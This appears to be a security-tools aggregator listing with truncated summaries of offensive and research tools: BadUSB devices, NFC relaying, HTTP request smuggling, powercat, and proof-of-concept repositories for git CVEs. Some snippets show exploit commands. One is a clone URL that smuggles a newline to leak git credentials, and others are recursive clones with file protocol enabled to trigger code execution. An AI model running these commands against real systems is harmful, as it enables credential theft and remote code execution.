rdpy

RDPY Remote Desktop Protocol in twisted python. RDPY is a pure Python implementation of the Microsoft RDP Remote Desktop Protocol protocol client and server side. RDPY is built over the event driven network engine Twisted. RDPY support standard RDP security layer, RDP over SSL and NLA...

bad_ducky

Bad Ducky Summary Bad Ducky is yet another Rubber Ducky clone. It is based on CJMCU BadUsb ATMEGA32u4 - Arduino Leonardo clone board with onboard card reader, which you can buy on ebay or aliexpress. My goal was to create something compatible with Rubber Ducky scripts, while having ability to...

sparrow-wifi

Sparrow-WiFi Sparrow-WiFi is a 2.4 GHz and 5 GHz WiFi and Bluetooth spectral awareness tool for Linux. It integrates WiFi scanning, Bluetooth Low Energy and Classic discovery, software-defined radio spectrum analysis HackRF, Ubertooth, GPS tracking, FAA RemoteID drone detection, drone/rover-mount...

nfcgate

NFCGate ⚠️NFCGate is currently being falsely detected as "NGate" malware. Please seethis issue for up-to-date information.⚠️ NFCGate is an Android application meant to capture, analyze, or modify NFC traffic. It can be used as a researching tool to reverse engineer protocols or assess the security...

WordPress WP Clone <= 2.4.2 - Database Backup Exposure

Clone WordPress plugin 2.4.3 contains a buffer overflow caused by storing in-progress backup information in publicly accessible buffer files at a static file path, letting attackers access sensitive backup data, exploit requires no special privileges id: CVE-2023-6750 info: name: WordPress WP Clo...

clone-cert

clone-cert.sh This is a simple shell script that retrieves the X.509 certificate associated with a TLS wrapped TCP port and uses openssl to create a similar certificate by replacing the public key and fixing the signature. This is particularly useful if you want to demonstrate why self-signed...

subdomain3

Subdomain3 README.md inChinese 中文 Description Subdomain3 is a new generation of tool , It helps penetration testers to discover more information in a shorter time than other tools.The information includes subdomains, IP, CDN, and so on. Please enjoy it. Screenshot medium pattern for speed Feature...

fapro

FaPro Free,Cross-platform,Single-file mass network protocol server simulator 中文Readme Description FaPro is a Fake Protocol Server tool, Can easily start or stop multiple network services. The goal is to support as many protocols as possible, and support as many deep interactions as possible for...

bad_ducky

Bad Ducky 개요 Bad Ducky는 또 다른 Rubber Ducky 클론입니다. 내장 카드 리더기가 있는 CJMCU BadUsb ATMEGA32u4 - Arduino Leonardo 클론 보드를 기반으로 하며, eBay나 알리익스프레스에서 구매할 수 있습니다. 제 목표는 Rubber Ducky 스크립트와 호환되면서도 하드웨어를 수정하지 않고 DIP 스위치를 추가하지 않고 실행할 스크립트를 쉽게 선택할 수 있는 제품을 만드는 것이었습니다. 이 제품의 특별한 점은 무엇인가요? Rubber Ducky 스크립트와 완전히 호환됩...

smuggler

root@kitploit: / | | | | \ | | | | |/ |/ | || |/ | | | || | | | || | | /||||/ \ |\ || | @defparam Smuggler An HTTP Request Smuggling / Desync testing tool written in Python 3 Acknowledgements A special thanks to James Kettle for his research and methods into HTTP desyncs And a special thanks to...

CVE-2017-1000117

git-client-rce このPoCは教育目的のみです!!! git-client-rce PoC（CVE-2017-1000117）のテスト用GITリポジトリ https://marc.info/?l=git&m=150238802328673&w=2 このCVEは、v2.14.1より前のすべてのgitクライアントに影響します。 PoCを確認するには、テストシステムで次を実行してください: $git clone --recursive https://github.com/thelastbyte/CVE-2017-1000117.git...

git_rce

CVE-2024-32002: git clone を介した Git RCE の悪用 このリポジトリは、git clone 操作中に RCE を可能にする Git の脆弱性 CVE-2024-32002 を悪用するための PoC を含んでいます。特定の方法でサブモジュールを持つリポジトリを作成することにより、攻撃者は大文字小文字を区別しないファイルシステム上のシンボリックリンク処理を悪用して .git/ ディレクトリにファイルを書き込み、悪意のあるフックの実行につなげることができます。 注意: この PoC は Windows または Mac システムでのみ動作します。 ブログ記事...

CVE-2017-1000117

Gitの脆弱性を確認するテストリポジトリ CVE-2017-1000117 仕組み このリポジトリを再帰的にクローンしてください。 ターミナルに「うんこもりもり」大量のクソという意味という文字列が表示されます。 root@kitploit: $ git clone --recursive https://github.com/greymd/CVE-2017-1000117.git Cloning into 'CVE-2017-1000117'... remote: Counting objects: 5, done. remote: Compressing objects: 100%...

CVE-2024-10220-githooks

CVE-2024-10220 テスト 参照 https://irsl.medium.com/sneaky-write-hook-git-clone-to-root-on-k8s-node-e38236205d54...

trajan

Trajan: CI/CD Security Scanner Trajan scans CI/CD pipelines for security vulnerabilities that attackers use to compromise software supply chains. It supports GitHub Actions, GitLab CI, Azure DevOps, Jenkins, and JFrog. What it does Trajan parses workflow YAML files, builds dependency graphs, runs...

gitbleed_tools

GitBleed 도구 - 미러링된 Git 저장소에서 데이터 추출 소개 이 저장소는 클론된 저장소와 미러 저장소 간의 차이를 다운로드하고 분석하는 데 사용할 수 있는 셸 스크립트를 포함합니다. Git 동작의 기본적인 특성에 대한 자세한 내용은 블로그 게시물을 방문해 주세요. 이 스크립트들은 무엇을 하나요? 이 스크립트들은 주어진 Git 저장소를 일반 클론과 미러"--mirror" 옵션 두 가지 방식으로 복제합니다. 그런 다음 두 복제본 간의 델타를 생성하여 미러 모드에서만 사용할 수 있는 저장소 부분을 찾습니다. 마지막으로...

powercat

powercat Netcat: 파워셸 버전. 파워셸 버전 2 이상 지원 설치 powercat은 파워셸 함수입니다. 먼저 함수를 로드한 후에 실행할 수 있습니다. 아래 명령어 중 하나를 파워셸 프로필에 추가하면 파워셸 시작 시 powercat이 자동으로 로드됩니다. root@kitploit: Load The Function From Downloaded .ps1 File: . .\powercat.ps1 Load The Function From URL: IEX New-Object...

CVE-2024-32002-poc

Bash Script: root@kitploit: !/bin/bash Set Git configuration options git config --global protocol.file.allow always git config --global core.symlinks true Avoid warning messages set default branch to main git config --global init.defaultBranch main Define tell-tale path...

cve-2020-5260

cve-2020-5260 Heroku にデプロイできる cve-2020-5260 用の HTTP PoC エンドポイント クレジット情報 Google Project Zero の Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 脆弱性を発動する root@kitploit: git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh' PoC を...

CVE-2025-48384

CVE-2025-48384 の PoC 詳細は CVE-2025-48384 を参照 実行方法: root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules [email protected]:liamg/CVE-2025-48384.git 出力例: root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test Cloning into 'test'...